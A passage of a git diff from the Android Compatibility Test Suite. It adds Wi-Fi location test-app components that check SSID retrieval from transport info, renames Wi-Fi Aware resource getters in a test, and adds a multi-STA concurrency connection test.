+
+package android.net.wifi.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.TransportInfo;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.util.Objects;
+
+/**
+ * An activity that retrieves Transport info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusActivity extends Activity {
+    private static final String TAG = "RetrieveTransportInfoAndReturnStatusActivity";
+    private static final String STATUS_EXTRA = "android.net.wifi.cts.app.extra.STATUS";
+
+    public static boolean canRetrieveSsidFromTransportInfo(
+            String logTag, ConnectivityManager connectivityManager) {
+        // Assumes wifi network is the default route.
+        Network[] networks = connectivityManager.getAllNetworks();
+        if (networks == null || networks.length == 0) {
+            Log.e(logTag, " Failed to get any networks");
+            return false;
+        }
+        NetworkCapabilities wifiNetworkCapabilities = null;
+        for (Network network : networks) {
+            NetworkCapabilities networkCapabilities =
+                    connectivityManager.getNetworkCapabilities(network);
+            if (networkCapabilities == null) {
+                Log.e(logTag, "Failed to get network capabilities for network: " + network);
+                continue;
+            }
+            if (networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_WIFI)) {
+                wifiNetworkCapabilities = networkCapabilities;
+                break;
+            }
+        }
+        if (wifiNetworkCapabilities == null) {
+            Log.e(logTag, "Failed to get network capabilities for wifi network."
+                    + " Available networks: " + networks);
+            return false;
+        }
+        TransportInfo transportInfo = wifiNetworkCapabilities.getTransportInfo();
+        if (!(transportInfo instanceof WifiInfo)) {
+            Log.e(logTag, " Failed to retrieve WifiInfo");
+            return false;
+        }
+        WifiInfo wifiInfo = (WifiInfo) transportInfo;
+        boolean succeeded = !Objects.equals(wifiInfo.getSSID(), WifiManager.UNKNOWN_SSID);
+        if (succeeded) {
+            Log.v(logTag, "SSID from transport info retrieval succeeded");
+        } else {
+            Log.v(logTag, "Failed to retrieve SSID from transport info");
+        }
+        return succeeded;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        ConnectivityManager connectivityManager  = getSystemService(ConnectivityManager.class);
+        setResult(RESULT_OK, new Intent().putExtra(
+                STATUS_EXTRA, canRetrieveSsidFromTransportInfo(TAG, connectivityManager)));
+        finish();
+    }
+}
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
new file mode 100644
index 0000000..1476455
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import static android.net.wifi.cts.app.RetrieveTransportInfoAndReturnStatusActivity.canRetrieveSsidFromTransportInfo;
+
+import android.app.job.JobParameters;
+import android.app.job.JobService;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.wifi.WifiManager;
+import android.os.ResultReceiver;
+import android.util.Log;
+
+/**
+ * A service that retrieves transport Info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusService extends JobService {
+    private static final String TAG = "RetrieveTransportInfoAndReturnStatusService";
+    private static final String RESULT_RECEIVER_EXTRA =
+            "android.net.wifi.cts.app.extra.RESULT_RECEIVER";
+
+    @Override
+    public boolean onStartJob(JobParameters jobParameters) {
+        ResultReceiver resultReceiver =
+                jobParameters.getTransientExtras().getParcelable(RESULT_RECEIVER_EXTRA);
+        ConnectivityManager connectivityManager  = getSystemService(ConnectivityManager.class);
+        resultReceiver.send(
+                canRetrieveSsidFromTransportInfo(TAG, connectivityManager) ? 1 : 0, null);
+        return false;
+    }
+
+    @Override
+    public boolean onStopJob(JobParameters jobParameters) {
+        return false;
+    }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 8555f76..60191a5 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -468,9 +468,9 @@
         }
         AwareResources resources = mWifiAwareManager.getAvailableAwareResources();
         assertNotNull("Available aware resources are null", resources);
-        assertTrue(resources.getNumOfAvailablePublishSessions() > 0);
-        assertTrue(resources.getNumOfAvailableSubscribeSessions() > 0);
-        assertTrue(resources.getNumOfAvailableDataPaths() > 0);
+        assertTrue(resources.getAvailableDataPathsCount() > 0);
+        assertTrue(resources.getAvailablePublishSessionsCount() > 0);
+        assertTrue(resources.getAvailableSubscribeSessionsCount() > 0);
     }
 
     /**
@@ -575,7 +575,7 @@
         int numOfAllPublishSessions = 0;
         if (BuildCompat.isAtLeastS()) {
             numOfAllPublishSessions = mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailablePublishSessions();
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount();
         }
 
         // 1. publish
@@ -590,7 +590,7 @@
                 DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
         if (BuildCompat.isAtLeastS()) {
             assertEquals(numOfAllPublishSessions - 1, mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailablePublishSessions());
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount());
         }
         // 2. update-publish
         publishConfig = new PublishConfig.Builder().setServiceName(
@@ -610,7 +610,7 @@
                 DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
         if (BuildCompat.isAtLeastS()) {
             assertEquals(numOfAllPublishSessions, mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailablePublishSessions());
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount());
         }
         session.close();
     }
@@ -674,7 +674,7 @@
         int numOfAllSubscribeSessions = 0;
         if (BuildCompat.isAtLeastS()) {
             numOfAllSubscribeSessions = mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailableSubscribeSessions();
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount();
         }
         // 1. subscribe
         session.subscribe(subscribeConfig, discoveryCb, mHandler);
@@ -688,7 +688,7 @@
                 DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
         if (BuildCompat.isAtLeastS()) {
             assertEquals(numOfAllSubscribeSessions - 1, mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailableSubscribeSessions());
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
         }
 
         // 2. update-subscribe
@@ -717,7 +717,7 @@
                 DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
         if (BuildCompat.isAtLeastS()) {
             assertEquals(numOfAllSubscribeSessions, mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailableSubscribeSessions());
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
         }
         session.close();
     }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
new file mode 100644
index 0000000..0c12dcd
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -0,0 +1,690 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
+import static android.os.Process.myUid;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
+import android.net.LinkProperties;
+import android.net.MacAddress;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.NetworkRequestMatchCallback;
+import android.net.wifi.WifiNetworkSpecifier;
+import android.os.WorkSource;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests multiple concurrent connection flow on devices that support multi STA concurrency
+ * (indicated via {@link WifiManager#isMultiStaConcurrencySupported()}.
+ *
+ * Tests the entire connection flow using {@link WifiNetworkSpecifier} embedded in a
+ * {@link NetworkRequest} & passed into {@link ConnectivityManager#requestNetwork(NetworkRequest,
+ * ConnectivityManager.NetworkCallback)} along with a concurrent internet connection using
+ * {@link WifiManager#connect(int, WifiManager.ActionListener)}.
+ *
+ * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
+ *
+ * TODO(b/177591382): Refactor some of the utilities to a separate file that are copied over from
+ * WifiManagerTest & WifiNetworkSpecifierTest.
+ *
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestBase {
+    private static final String TAG = "MultiStaConcurrencyWifiNetworkSpecifierTest";
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+    private static boolean sWasWifiEnabled;
+
+    private Context mContext;
+    private WifiManager mWifiManager;
+    private ConnectivityManager mConnectivityManager;
+    private UiDevice mUiDevice;
+    private WifiConfiguration mTestNetworkForPeerToPeer;
+    private WifiConfiguration mTestNetworkForInternetConnection;
+    private TestNetworkCallback mNetworkCallback;
+    private TestNetworkCallback mNrNetworkCallback;
+
+    private static final int DURATION = 10_000;
+    private static final int DURATION_UI_INTERACTION = 25_000;
+    private static final int DURATION_NETWORK_CONNECTION = 60_000;
+    private static final int DURATION_SCREEN_TOGGLE = 2000;
+    private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        // skip the test if WiFi is not supported. Don't use assumeTrue in @BeforeClass
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertNotNull(wifiManager);
+
+        // turn on verbose logging for tests
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(true));
+        // Disable scan throttling for tests.
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isScanThrottleEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(false));
+
+        // enable Wifi
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isWifiEnabled());
+        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+        PollingCheck.check("Wifi not enabled", DURATION, () -> wifiManager.isWifiEnabled());
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertNotNull(wifiManager);
+
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        // skip the test if WiFi is not supported
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+        // skip the test if location is not supported
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION));
+        // skip if multi STA not supported.
+        assumeTrue(mWifiManager.isMultiStaConcurrencySupported());
+
+        assertTrue("Please enable location for this test!",
+                mContext.getSystemService(LocationManager.class).isLocationEnabled());
+
+        // turn screen on
+        turnScreenOn();
+
+        // Clear any existing app state before each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+
+        // We need 2 AP's for the test. If there are 2 networks saved on the device and in range,
+        // use those. Otherwise, check if there are 2 BSSID's in range for the only saved network.
+        // This assumes a CTS test environment with at least 2 connectable bssid's (Is that ok?).
+        List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.getPrivilegedConfiguredNetworks());
+        List<WifiConfiguration> matchingNetworksWithBssid =
+                findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
+        assertTrue("Need at least 2 saved network bssids in range",
+                matchingNetworksWithBssid.size() >= 2);
+        // Pick any 2 bssid for test.
+        mTestNetworkForPeerToPeer = matchingNetworksWithBssid.get(0);
+        mTestNetworkForInternetConnection = matchingNetworksWithBssid.get(1);
+
+        // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+        // interfering with the test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                        mWifiManager.disableNetwork(savedNetwork.networkId);
+                    }
+                    mWifiManager.disconnect();
+                });
+
+        // Wait for Wifi to be disconnected.
+        PollingCheck.check(
+                "Wifi not disconnected",
+                20_000,
+                () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Re-enable networks.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
+                        mWifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+        // Release the requests after the test.
+        if (mNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+        }
+        if (mNrNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
+        }
+        // Clear any existing app state after each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        turnScreenOff();
+    }
+
+    private static void setWifiEnabled(boolean enable) throws Exception {
+        // now trigger the change using shell commands.
+        SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
+    }
+
+    private void turnScreenOn() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE);
+    }
+
+    private void turnScreenOff() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE);
+    }
+
+    private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+
+        TestScanResultsCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onScanResultsAvailable() {
+            onAvailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Loops through all the saved networks available in the scan results. Returns a list of
+     * WifiConfiguration with the matching bssid filled in {@link WifiConfiguration#BSSID}.
+     *
+     * Note:
+     * a) If there are more than 2 networks with the same SSID, but different credential type, then
+     * this matching may pick the wrong one.
+     */
+    private static List<WifiConfiguration> findMatchingSavedNetworksWithBssid(
+            @NonNull WifiManager wifiManager, @NonNull List<WifiConfiguration> savedNetworks) {
+        if (savedNetworks.isEmpty()) return Collections.emptyList();
+        List<WifiConfiguration> matchingNetworksWithBssids = new ArrayList<>();
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
+            // Trigger a scan to get fresh scan results.
+            TestScanResultsCallback scanResultsCallback =
+                    new TestScanResultsCallback(countDownLatch);
+            try {
+                wifiManager.registerScanResultsCallback(
+                        Executors.newSingleThreadExecutor(), scanResultsCallback);
+                wifiManager.startScan(new WorkSource(myUid()));
+                // now wait for callback
+                assertTrue(countDownLatch.await(
+                        DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+            } catch (InterruptedException e) {
+            } finally {
+                wifiManager.unregisterScanResultsCallback(scanResultsCallback);
+            }
+            List<ScanResult> scanResults = wifiManager.getScanResults();
+            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+            for (ScanResult scanResult : scanResults) {
+                WifiConfiguration matchingNetwork = savedNetworks.stream()
+                        .filter(network -> TextUtils.equals(
+                                scanResult.SSID, removeDoubleQuotes(network.SSID)))
+                        .findAny()
+                        .orElse(null);
+                if (matchingNetwork != null) {
+                    // make a copy in case we have 2 bssid's for the same network.
+                    WifiConfiguration matchingNetworkCopy = new WifiConfiguration(matchingNetwork);
+                    matchingNetworkCopy.BSSID = scanResult.BSSID;
+                    matchingNetworksWithBssids.add(matchingNetworkCopy);
+                }
+            }
+            if (!matchingNetworksWithBssids.isEmpty()) break;
+        }
+        return matchingNetworksWithBssids;
+    }
+
+    private void assertConnectionEquals(@NonNull WifiConfiguration network,
+            @NonNull WifiInfo wifiInfo) {
+        assertEquals(network.SSID, wifiInfo.getSSID());
+        assertEquals(network.BSSID, wifiInfo.getBSSID());
+    }
+
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+        public boolean onUnavailableCalled = false;
+        public NetworkCapabilities networkCapabilities;
+
+        TestNetworkCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
+                LinkProperties linkProperties, boolean blocked) {
+            onAvailableCalled = true;
+            this.networkCapabilities = networkCapabilities;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onUnavailable() {
+            onUnavailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    private static class TestNetworkRequestMatchCallback implements NetworkRequestMatchCallback {
+        private final Object mLock;
+
+        public boolean onRegistrationCalled = false;
+        public boolean onAbortCalled = false;
+        public boolean onMatchCalled = false;
+        public boolean onConnectSuccessCalled = false;
+        public boolean onConnectFailureCalled = false;
+        public WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback = null;
+        public List<ScanResult> matchedScanResults = null;
+
+        TestNetworkRequestMatchCallback(Object lock) {
+            mLock = lock;
+        }
+
+        @Override
+        public void onUserSelectionCallbackRegistration(
+                WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback) {
+            synchronized (mLock) {
+                onRegistrationCalled = true;
+                this.userSelectionCallback = userSelectionCallback;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onAbort() {
+            synchronized (mLock) {
+                onAbortCalled = true;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onMatch(List<ScanResult> scanResults) {
+            synchronized (mLock) {
+                // This can be invoked multiple times. So, ignore after the first one to avoid
+                // disturbing the rest of the test sequence.
+                if (onMatchCalled) return;
+                onMatchCalled = true;
+                matchedScanResults = scanResults;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onUserSelectionConnectSuccess(WifiConfiguration config) {
+            synchronized (mLock) {
+                onConnectSuccessCalled = true;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onUserSelectionConnectFailure(WifiConfiguration config) {
+            synchronized (mLock) {
+                onConnectFailureCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    private void handleUiInteractions(WifiConfiguration network, boolean shouldUserReject) {
+        // can't use CountDownLatch since there are many callbacks expected and CountDownLatch
+        // cannot be reset.
+        // TODO(b/177591382): Use ArrayBlockingQueue/LinkedBlockingQueue
+        Object uiLock = new Object();
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestNetworkRequestMatchCallback networkRequestMatchCallback =
+                new TestNetworkRequestMatchCallback(uiLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            // 1. Wait for registration callback.
+            synchronized (uiLock) {
+                try {
+                    mWifiManager.registerNetworkRequestMatchCallback(
+                            Executors.newSingleThreadExecutor(), networkRequestMatchCallback);
+                    uiLock.wait(DURATION_UI_INTERACTION);
+                } catch (InterruptedException e) {
+                }
+            }
+            assertTrue(networkRequestMatchCallback.onRegistrationCalled);
+            assertNotNull(networkRequestMatchCallback.userSelectionCallback);
+
+            // 2. Wait for matching scan results
+            synchronized (uiLock) {
+                try {
+                    uiLock.wait(DURATION_UI_INTERACTION);
+                } catch (InterruptedException e) {
+                }
+            }
+            assertTrue(networkRequestMatchCallback.onMatchCalled);
+            assertNotNull(networkRequestMatchCallback.matchedScanResults);
+            assertThat(networkRequestMatchCallback.matchedScanResults.size()).isAtLeast(1);
+
+            // 3. Trigger connection to one of the matched networks or reject the request.
+            if (shouldUserReject) {
+                networkRequestMatchCallback.userSelectionCallback.reject();
+            } else {
+                networkRequestMatchCallback.userSelectionCallback.select(network);
+            }
+
+            // 4. Wait for connection success or abort.
+            synchronized (uiLock) {
+                try {
+                    uiLock.wait(DURATION_UI_INTERACTION);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (shouldUserReject) {
+                assertTrue(networkRequestMatchCallback.onAbortCalled);
+            } else {
+                assertTrue(networkRequestMatchCallback.onConnectSuccessCalled);
+            }
+        } finally {
+            mWifiManager.unregisterNetworkRequestMatchCallback(networkRequestMatchCallback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+
+    /**
+     * Tests the entire connection flow using the provided specifier.
+     *
+     * @param specifier Specifier to use for network request.
+     * @param shouldUserReject Whether to simulate user rejection or not.
+     */
+    private void testConnectionFlowWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier, boolean shouldUserReject) {
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        // Fork a thread to handle the UI interactions.
+        Thread uiThread = new Thread(() -> handleUiInteractions(network, shouldUserReject));
+
+        // File the network request & wait for the callback.
+        mNrNetworkCallback = new TestNetworkCallback(countDownLatch);
+        try {
+            // File a request for wifi network.
+            mConnectivityManager.requestNetwork(
+                    new NetworkRequest.Builder()
+                            .addTransportType(TRANSPORT_WIFI)
+                            .removeCapability(NET_CAPABILITY_INTERNET)
+                            .setNetworkSpecifier(specifier)
+                            .build(),
+                    mNrNetworkCallback);
+            // Wait for the request to reach the wifi stack before kick-starting the UI
+            // interactions.
+            Thread.sleep(100);
+            // Start the UI interactions.
+            uiThread.run();
+            // now wait for callback
+            assertTrue(countDownLatch.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+        }
+        if (shouldUserReject) {
+            assertTrue(mNrNetworkCallback.onUnavailableCalled);
+        } else {
+            assertTrue(mNrNetworkCallback.onAvailableCalled);
+            assertConnectionEquals(
+                    network, (WifiInfo) mNrNetworkCallback.networkCapabilities.getTransportInfo());
+        }
+
+        try {
+            // Ensure that the UI interaction thread has completed.
+            uiThread.join(DURATION_UI_INTERACTION);
+        } catch (InterruptedException e) {
+            fail("UI interaction interrupted");
+        }
+    }
+
+    private void testSuccessfulConnectionWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier) {
+        testConnectionFlowWithSpecifier(network, specifier, false);
+    }
+
+    private void testUserRejectionWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier) {
+        testConnectionFlowWithSpecifier(network, specifier, true);
+    }
+
+    private static String removeDoubleQuotes(String string) {
+        return WifiInfo.sanitizeSsid(string);
+    }
+
+    private static class TestActionListener implements WifiManager.ActionListener {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onSuccessCalled = false;
+        public boolean onFailedCalled = false;
+        public int failureReason = -1;
+
+        TestActionListener(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onSuccess() {
+            onSuccessCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onFailure(int reason) {
+            onFailedCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Triggers connection to one of the saved networks using {@link WifiManager#connect(
+     * WifiConfiguration, WifiManager.ActionListener)}
+     */
+    private void testConnectionFlowWithConnect(@NonNull WifiConfiguration network) {
+        CountDownLatch countDownLatchAl = new CountDownLatch(1);
+        CountDownLatch countDownLatchNr = new CountDownLatch(1);
+        TestActionListener actionListener = new TestActionListener(countDownLatchAl);
+        mNetworkCallback = new TestNetworkCallback(countDownLatchNr);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // File a callback for wifi network.
+            mConnectivityManager.registerNetworkCallback(
+                    new NetworkRequest.Builder()
+                            .addTransportType(TRANSPORT_WIFI)
+                            .addCapability(NET_CAPABILITY_INTERNET)
+                            .build(),
+                    mNetworkCallback);
+            // Trigger the connection.
+            mWifiManager.connect(network, actionListener);
+            // now wait for action listener callback
+            assertTrue(countDownLatchAl.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+            // check if we got the success callback
+            assertTrue(actionListener.onSuccessCalled);
+
+            // Wait for connection to complete & ensure we are connected to the saved network.
+            assertTrue(countDownLatchNr.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+            assertTrue(mNetworkCallback.onAvailableCalled);
+            assertConnectionEquals(
+                    network, (WifiInfo) mNetworkCallback.networkCapabilities.getTransportInfo());
+        } catch (InterruptedException e) {
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    private static WifiNetworkSpecifier.Builder
+            createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+            @NonNull WifiConfiguration network) {
+        WifiNetworkSpecifier.Builder specifierBuilder = new WifiNetworkSpecifier.Builder()
+                .setSsid(removeDoubleQuotes(network.SSID))
+                .setBssid(MacAddress.fromString(network.BSSID));
+        if (network.preSharedKey != null) {
+            if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+                specifierBuilder.setWpa2Passphrase(removeDoubleQuotes(network.preSharedKey));
+            } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+                specifierBuilder.setWpa3Passphrase(removeDoubleQuotes(network.preSharedKey));
+            } else {
+                fail("Unsupported security type found in saved networks");
+            }
+        } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            specifierBuilder.setIsEnhancedOpen(true);
+        } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+            fail("Unsupported security type found in saved networks");
+        }
+        specifierBuilder.setIsHiddenSsid(network.hiddenSSID);
+        return specifierBuilder;
+    }
+
+    private long getNumWifiConnections() {
